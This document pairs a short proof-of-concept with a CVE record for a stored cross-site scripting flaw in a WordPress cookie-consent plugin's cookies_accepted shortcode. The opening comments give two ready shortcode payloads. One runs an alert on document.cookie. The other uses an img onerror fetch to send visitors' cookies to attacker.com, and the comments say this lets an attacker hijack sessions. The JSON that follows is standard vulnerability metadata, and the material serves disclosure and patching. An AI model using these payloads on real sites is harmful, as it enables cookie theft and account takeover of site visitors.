CVE-2025-11186

<!-- Stored XSS via cookies_accepted shortcode attribute injection --> <!-- Authenticated contributor+ user can inject malicious script --> [cookies_accepted custom_attr='x" onerror="alert(document.cookie)" data-x="'] <!-- Alternative payload using event handlers --> [cookies_accepted some_attr='<img src=x onerror=fetch("https://attacker.com/steal?c="+document.cookie)>'] <!-- The injected script will execute when users visit the affected page --> <!-- Attacker can steal session cookies, perform actions as the victim, etc. -->

{"cve": {"id": "CVE-2025-11186", "sourceIdentifier": "[email protected]", "published": "2025-11-22T05:15:59.610", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Cookie Notice & Compliance for GDPR / CCPA plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's cookies_accepted shortcode in all versions up to, and including, 2.5.8 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/cookie-notice/tags/2.5.7/cookie-notice.php#L1060", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/cookie-notice/tags/2.5.7/cookie-notice.php#L1181", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/19700658-1bef-4e85-a995-d86fff508cdf?source=cve", "source": "[email protected]"}]}}